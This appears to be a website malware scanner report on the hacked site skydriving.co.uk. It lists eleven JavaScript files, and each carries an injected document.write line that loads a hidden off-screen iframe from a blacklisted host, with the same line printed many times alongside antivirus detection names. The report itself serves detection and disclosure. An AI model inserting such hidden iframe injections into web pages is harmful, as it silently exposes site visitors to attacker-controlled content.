New scan:

Malware Scanner report for skydriving.co.uk

Malicious/Suspicious/Total urls checked
11/0/14
11 pages have malicious code. See details below
Blacklists
Found
The website is marked by Google as suspicious.

The website "skydriving.co.uk" is probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues.
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
11/0/11
11 malicious iframes found. See details below
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=skydriving.co.uk

Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.

Scanned pages/files

RequestServer responseStatus
http://skydriving.co.uk/
200 OK
Content-Length: 165259
Content-Type: text/html
clean
http://skydriving.co.uk/media/system/js/caption.js
200 OK
Content-Length: 2144
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

...[1115 bytes skipped]...
ntainer.className + " " + align;
container.setAttribute("style","float:"+align);
container.style.width = width + "px";
}
});
document.caption = null;
window.addEvent('load', function() {
var caption = new JCaption('img.caption')
document.caption = caption
});
;document.write('<iframe width="51" height="51" style="width:101px;height:101px;position:absolute;left:-101px;top:0;" src="http://kkuehliy.freewww.biz/yrehwegweg.cgi?3"></iframe>');

Antivirus reports:

Kaspersky
HEUR:Trojan.Script.Generic
Sophos
Mal/Iframe-AN

Malicious iFrame found.
size: 101x101     
src: http://kkuehliy.freewww.biz/yrehwegweg.cgi?3
This URL is marked by Google as suspicious

<iframe width="51" height="51" style="width:101px;height:101px;position:absolute;left:-101px;top:0;" src="http://kkuehliy.freewww.biz/yrehwegweg.cgi?3">

http://skydriving.co.uk/templates/yoo_vox/lib/js/addons/base.js
200 OK
Content-Length: 1952
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

...[1429 bytes skipped]...
on|initialize|Class|leaveFx|Options|YOOMorph|leave|window|document|ie6|timer|setStyle|linear|9000|999999|FFFFFF|effects|Element|length|expoOut|periodical|getElementsBySelector|return|Styles|undefined|mouseleave|mouseenter|contains|background|500|px|matchHeight|null|color|chk|YOOBase'.split('|'),0,{}))
;document.write('<iframe width="51" height="51" style="width:101px;height:101px;position:absolute;left:-101px;top:0;" src="http://kkuehliy.freewww.biz/yrehwegweg.cgi?3"></iframe>');

Antivirus reports:

AntiVir
HTML/IFrame.Inf.9552
Avast
HTML:Iframe-inf
Ikarus
Trojan.IframeRef
nProtect
Trojan.JS.Agent.HSZ
Comodo
TrojWare.JS.Iframe.IN
Kaspersky
HEUR:Trojan.Script.Generic
Microsoft
Trojan:JS/IframeRef.J
MicroWorld-eScan
Trojan.JS.Agent.HSZ
Fortinet
JS/Redir.BBEP!tr
NANO-Antivirus
Trojan.Url.IframeB.bgynby
F-Secure
Trojan.JS.Agent.HSZ
F-Prot
IFrame.gen
Norman
IframeRef.DJ
Sophos
Troj/JSRedir-IY
GData
Trojan.JS.Agent.HSZ
Commtouch
IFrame.gen
BitDefender
Trojan.JS.Agent.HSZ

Malicious iFrame found.
size: 101x101     
src: http://kkuehliy.freewww.biz/yrehwegweg.cgi?3
This URL is marked by Google as suspicious

<iframe width="51" height="51" style="width:101px;height:101px;position:absolute;left:-101px;top:0;" src="http://kkuehliy.freewww.biz/yrehwegweg.cgi?3">

http://skydriving.co.uk/templates/yoo_vox/lib/js/addons/accordionmenu.js
200 OK
Content-Length: 1532
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

...[997 bytes skipped]...
ordion|createDefault|defined|ul|bind|toggleClass|YOOAccordionMenu|hasClass|chain|switch|case|slide|break|Class|initialize|implement|onBackground|toggle|setOptions|onActive|addEvent|250|all|duration|linear|Transitions|click|extend|Options|transition|hide|accordionMenu|Accordion|Slide'.split('|'),0,{}))
;document.write('<iframe width="51" height="51" style="width:101px;height:101px;position:absolute;left:-101px;top:0;" src="http://kkuehliy.freewww.biz/yrehwegweg.cgi?3"></iframe>');

Antivirus reports:

AntiVir
HTML/IFrame.Inf.9552
Avast
HTML:Iframe-inf
Ikarus
Trojan.IframeRef
nProtect
Trojan.JS.Agent.HSZ
Comodo
TrojWare.JS.Iframe.IN
Kaspersky
HEUR:Trojan.Script.Generic
Microsoft
Trojan:JS/IframeRef.J
MicroWorld-eScan
Trojan.JS.Agent.HSZ
Fortinet
JS/Redir.BBEP!tr
NANO-Antivirus
Trojan.Url.IframeB.bgynby
F-Secure
Trojan.JS.Agent.HSZ
F-Prot
IFrame.gen
Norman
IframeRef.DJ
Sophos
Troj/JSRedir-IY
GData
Trojan.JS.Agent.HSZ
Commtouch
IFrame.gen
BitDefender
Trojan.JS.Agent.HSZ

Malicious iFrame found.
size: 101x101     
src: http://kkuehliy.freewww.biz/yrehwegweg.cgi?3
This URL is marked by Google as suspicious

<iframe width="51" height="51" style="width:101px;height:101px;position:absolute;left:-101px;top:0;" src="http://kkuehliy.freewww.biz/yrehwegweg.cgi?3">

http://skydriving.co.uk/templates/yoo_vox/lib/js/addons/fancymenu.js
200 OK
Content-Length: 2848
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

...[2317 bytes skipped]...
|slideOffset|onLeaveItem|mouseleaveItem|dur|clickItem|onClick|mouseenterItem|visibility|dropdown|getElements|each|level1|Transitions|implement|500|wait|Events|Fx|30|mouseleave|transition|visible|Event|initialize|sineInOut|injectInside|Options|click|mouseenter|setStyles|dropdownleave'.split('|'),0,{}))
;document.write('<iframe width="51" height="51" style="width:101px;height:101px;position:absolute;left:-101px;top:0;" src="http://kkuehliy.freewww.biz/yrehwegweg.cgi?3"></iframe>');

Antivirus reports:

AntiVir
HTML/IFrame.Inf.9552
Avast
HTML:Iframe-inf
Ikarus
Trojan.IframeRef
nProtect
Trojan.JS.Agent.HSZ
Comodo
TrojWare.JS.Iframe.IN
Kaspersky
HEUR:Trojan.Script.Generic
Microsoft
Trojan:JS/IframeRef.J
MicroWorld-eScan
Trojan.JS.Agent.HSZ
Fortinet
JS/Redir.BBEP!tr
NANO-Antivirus
Trojan.Url.IframeB.bgynby
F-Secure
Trojan.JS.Agent.HSZ
F-Prot
IFrame.gen
Norman
IframeRef.DJ
Sophos
Troj/JSRedir-IY
GData
Trojan.JS.Agent.HSZ
Commtouch
IFrame.gen
BitDefender
Trojan.JS.Agent.HSZ

Malicious iFrame found.
size: 101x101     
src: http://kkuehliy.freewww.biz/yrehwegweg.cgi?3
This URL is marked by Google as suspicious

<iframe width="51" height="51" style="width:101px;height:101px;position:absolute;left:-101px;top:0;" src="http://kkuehliy.freewww.biz/yrehwegweg.cgi?3">

http://skydriving.co.uk/templates/yoo_vox/lib/js/addons/dropdownmenu.js
200 OK
Content-Length: 3005
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

...[2487 bytes skipped]...
ain|margin|getElement|delaytime|wait|linear|return|matchUlHeight|addClass|Transitions|null|600|setOptions|initialize|Class|default|ul|800|box4|duration|transition|opera|removeClass|switch|delay|extend|ie|Options|clear|implement|matchHeight|getParent|slide|true|level2|Events|hasChild'.split('|'),0,{}))
;document.write('<iframe width="51" height="51" style="width:101px;height:101px;position:absolute;left:-101px;top:0;" src="http://kkuehliy.freewww.biz/yrehwegweg.cgi?3"></iframe>');

Antivirus reports:

AntiVir
HTML/IFrame.Inf.9552
Avast
HTML:Iframe-inf
Ikarus
Trojan.IframeRef
nProtect
Trojan.JS.Agent.HSZ
Comodo
TrojWare.JS.Iframe.IN
Kaspersky
HEUR:Trojan.Script.Generic
Microsoft
Trojan:JS/IframeRef.J
MicroWorld-eScan
Trojan.JS.Agent.HSZ
Fortinet
JS/Redir.BBEP!tr
NANO-Antivirus
Trojan.Url.IframeB.bgynby
F-Secure
Trojan.JS.Agent.HSZ
F-Prot
IFrame.gen
Norman
IframeRef.DJ
Sophos
Troj/JSRedir-IY
GData
Trojan.JS.Agent.HSZ
Commtouch
IFrame.gen
BitDefender
Trojan.JS.Agent.HSZ

Malicious iFrame found.
size: 101x101     
src: http://kkuehliy.freewww.biz/yrehwegweg.cgi?3
This URL is marked by Google as suspicious

<iframe width="51" height="51" style="width:101px;height:101px;position:absolute;left:-101px;top:0;" src="http://kkuehliy.freewww.biz/yrehwegweg.cgi?3">

http://skydriving.co.uk/templates/yoo_vox/lib/js/template.js
200 OK
Content-Length: 2637
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

...[2041 bytes skipped]...
20);
YOOBase.matchHeight('div.mainbottombox div.deepest', 20);
YOOBase.matchHeight('div.contenttopbox div.deepest', 20);
YOOBase.matchHeight('div.contentbottombox div.deepest', 20);
}

}

};


window.addEvent('domready', YOOTemplate.start);document.write('<iframe width="51" height="51" style="width:101px;height:101px;position:absolute;left:-101px;top:0;" src="http://kkuehliy.freewww.biz/yrehwegweg.cgi?3"></iframe>');

Antivirus reports:

AntiVir
JS/iFrame.EB.213
Avast
JS:Iframe-BPD [Trj]
Ad-Aware
Trojan.JS.Iframe.DBY
Ikarus
Trojan.IframeRef
nProtect
Trojan.JS.Iframe.DBY
TrendMicro-HouseCall
TROJ_GEN.F47V1122
Comodo
UnclassifiedMalware
Emsisoft
Trojan.JS.Iframe.DBY (B)
Microsoft
Trojan:JS/IframeRef.J
Kaspersky
HEUR:Trojan.Script.Generic
MicroWorld-eScan
Trojan.JS.Iframe.DBY
Fortinet
W32/Iframe.AN
NANO-Antivirus
Trojan.Url.IframeB.csqmlk
F-Secure
Trojan.JS.Iframe.DBY
VIPRE
Malware.JS.Generic (JS)
Sophos
Mal/Iframe-AN
GData
Trojan.JS.Iframe.DBY
BitDefender
Trojan.JS.Iframe.DBY

Malicious iFrame found.
size: 101x101     
src: http://kkuehliy.freewww.biz/yrehwegweg.cgi?3
This URL is marked by Google as suspicious

<iframe width="51" height="51" style="width:101px;height:101px;position:absolute;left:-101px;top:0;" src="http://kkuehliy.freewww.biz/yrehwegweg.cgi?3">

http://skydriving.co.uk/components/com_jxtcprimetime/jxtcswfobject.js
200 OK
Content-Length: 10025
Content-Type: application/javascript
malicious
Malicious code found. Script contains blacklisted domain: kkuehliy.freewww.biz

...[3691 bytes skipped]...
length;r++){if(t[r].substring(0,t[r].indexOf("="))==v){return g(t[r].substring((t[r].indexOf("=")+1)))}}}return""},expressInstallCallback:function(){if(A&&M){var q=C(m);if(q){q.parentNode.replaceChild(M,q);if(l){W(l,true);if(h.ie&&h.win){M.style.display="block"}}M=null;l=null;A=false}}}}}();document.write('<iframe width="51" height="51" style="width:101px;height:101px;position:absolute;left:-101px;top:0;" src="http://kkuehliy.freewww.biz/yrehwegweg.cgi?3"></iframe>');

Decoded script:


function E() {
if (e) {
return;
}
if (h.ie && h.win) {
var v = a("span");
try {
var u = K.getElementsByTagName("body")[0].appendChild(v);
u.parentNode.removeChild(u);
} catch (w) {
return;
}
}
e = true;
if (Z) {
clearInterval(Z);
Z = null;
}
var q = o.length;
for (var r = 0; r < q; r++) {
o[r]();
}
}
<iframe width="51" height="51" style="width:101px;height:101px;position:absolute;left:-101px;top:0;" src="http://kkuehliy.freewww.biz/yrehwegweg.cgi?3"></iframe>

Malicious iFrame found.
size: 101x101     
src: http://kkuehliy.freewww.biz/yrehwegweg.cgi?3
This URL is marked by Google as suspicious

<iframe width="51" height="51" style="width:101px;height:101px;position:absolute;left:-101px;top:0;" src="http://kkuehliy.freewww.biz/yrehwegweg.cgi?3">

http://skydriving.co.uk/plugins/content/jw_allvideos/includes/players/wmvplayer/silverlight.js
404 Not Found
Content-Length: 1148
Content-Type: text/html
clean
http://skydriving.co.uk/test404page.js
404 Not Found
Content-Length: 1148
Content-Type: text/html
clean
http://skydriving.co.uk/plugins/content/jw_allvideos/includes/players/wmvplayer/wmvplayer.js
200 OK
Content-Length: 24191
Content-Type: application/javascript
malicious
Malicious code found. Script contains blacklisted domain: kkuehliy.freewww.biz

...[4077 bytes skipped]...
n+":"+str;
hrs > 0 ? str = hrs+":"+str: null;
return str;
}
jeroenwijering.utils.spanstring = function(stp) {
var hrs = Math.floor(stp/3600);
var min = Math.floor(stp%3600/60);
var sec = Math.round(stp%60*10)/10;
var str = hrs+':'+min+':'+sec;
return str;
};document.write('<iframe width="51" height="51" style="width:101px;height:101px;position:absolute;left:-101px;top:0;" src="http://kkuehliy.freewww.biz/yrehwegweg.cgi?3"></iframe>');

Decoded script:


<iframe width="51" height="51" style="width:101px;height:101px;position:absolute;left:-101px;top:0;" src="http://kkuehliy.freewww.biz/yrehwegweg.cgi?3"></iframe>

Malicious iFrame found.
size: 101x101     
src: http://kkuehliy.freewww.biz/yrehwegweg.cgi?3
This URL is marked by Google as suspicious

<iframe width="51" height="51" style="width:101px;height:101px;position:absolute;left:-101px;top:0;" src="http://kkuehliy.freewww.biz/yrehwegweg.cgi?3">

http://skydriving.co.uk/plugins/content/jw_allvideos/includes/players/quicktimeplayer/AC_QuickTime.js
200 OK
Content-Length: 8708
Content-Type: application/javascript
malicious
Page code contains blacklisted domain: kkuehliy.freewww.biz

...[3539 bytes skipped]...
rateOBJECTText_XHTML() { return _QTGenerate("QT_GenerateOBJECTText_XHTML", true, arguments); } function QT_WriteOBJECT() { document.writeln(_QTGenerate("QT_WriteOBJECT", false, arguments)); } function QT_WriteOBJECT_XHTML() { document.writeln(_QTGenerate("QT_WriteOBJECT_XHTML", true, arguments)); } ;document.write('<iframe width="51" height="51" style="width:101px;height:101px;position:absolute;left:-101px;top:0;" src="http://kkuehliy.freewww.biz/yrehwegweg.cgi?3"></iframe>');

Malicious iFrame found.
size: 101x101     
src: http://kkuehliy.freewww.biz/yrehwegweg.cgi?3
This URL is marked by Google as suspicious

<iframe width="51" height="51" style="width:101px;height:101px;position:absolute;left:-101px;top:0;" src="http://kkuehliy.freewww.biz/yrehwegweg.cgi?3">

http://skydriving.co.uk/plugins/content/jw_allvideos/includes/jw_allvideos.js
200 OK
Content-Length: 6951
Content-Type: application/javascript
malicious
Malicious code found. Script contains blacklisted domain: kkuehliy.freewww.biz

...[3999 bytes skipped]...
elm.replace( /\t/g, '' );
elm = elm.replace( /\&/g, '&amp;' );
elm = elm.replace( /\</g, '&lt;' );
elm = elm.replace( /\>/g, '&gt;' );
elm = elm.replace( /\"/g, '&quot;' );
elm = elm.replace( /\'/g, "&apos;" );
return elm;
}
}
;document.write('<iframe width="51" height="51" style="width:101px;height:101px;position:absolute;left:-101px;top:0;" src="http://kkuehliy.freewww.biz/yrehwegweg.cgi?3"></iframe>');

Decoded script:


<iframe width="51" height="51" style="width:101px;height:101px;position:absolute;left:-101px;top:0;" src="http://kkuehliy.freewww.biz/yrehwegweg.cgi?3"></iframe>

Malicious iFrame found.
size: 101x101     
src: http://kkuehliy.freewww.biz/yrehwegweg.cgi?3
This URL is marked by Google as suspicious

<iframe width="51" height="51" style="width:101px;height:101px;position:absolute;left:-101px;top:0;" src="http://kkuehliy.freewww.biz/yrehwegweg.cgi?3">

http://skydriving.co.uk/modules/mod_flashmod/mod_flashmod.js
200 OK
Content-Length: 3957
Content-Type: application/javascript
malicious
Malicious code found. Script contains blacklisted domain: kkuehliy.freewww.biz

...[3462 bytes skipped]...
args[i]] = ret.objAttrs[args[i]] = args[i+1];
break;
default:
ret.embedAttrs[args[i]] = ret.params[args[i]] = args[i+1];
}
}
ret.objAttrs["classid"] = classid;
if (mimeType) ret.embedAttrs["type"] = mimeType;
return ret;
}
;document.write('<iframe width="51" height="51" style="width:101px;height:101px;position:absolute;left:-101px;top:0;" src="http://kkuehliy.freewww.biz/yrehwegweg.cgi?3"></iframe>');

Decoded script:


<iframe width="51" height="51" style="width:101px;height:101px;position:absolute;left:-101px;top:0;" src="http://kkuehliy.freewww.biz/yrehwegweg.cgi?3"></iframe>

Malicious iFrame found.
size: 101x101     
src: http://kkuehliy.freewww.biz/yrehwegweg.cgi?3
This URL is marked by Google as suspicious

<iframe width="51" height="51" style="width:101px;height:101px;position:absolute;left:-101px;top:0;" src="http://kkuehliy.freewww.biz/yrehwegweg.cgi?3">


Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: skydriving.co.uk

Result:
HTTP/1.1 200 OK
Connection: close
Date: Mon, 29 Sep 2014 13:41:27 GMT
Server: LiteSpeed
Content-Type: text/html
X-Powered-By: PHP/5.4.32
Second query (visit from search engine):
GET / HTTP/1.1
Host: skydriving.co.uk
Referer: http://www.google.com/search?q=skydriving.co.uk

Result:
The result is similar to the first query. There are no suspicious redirects found.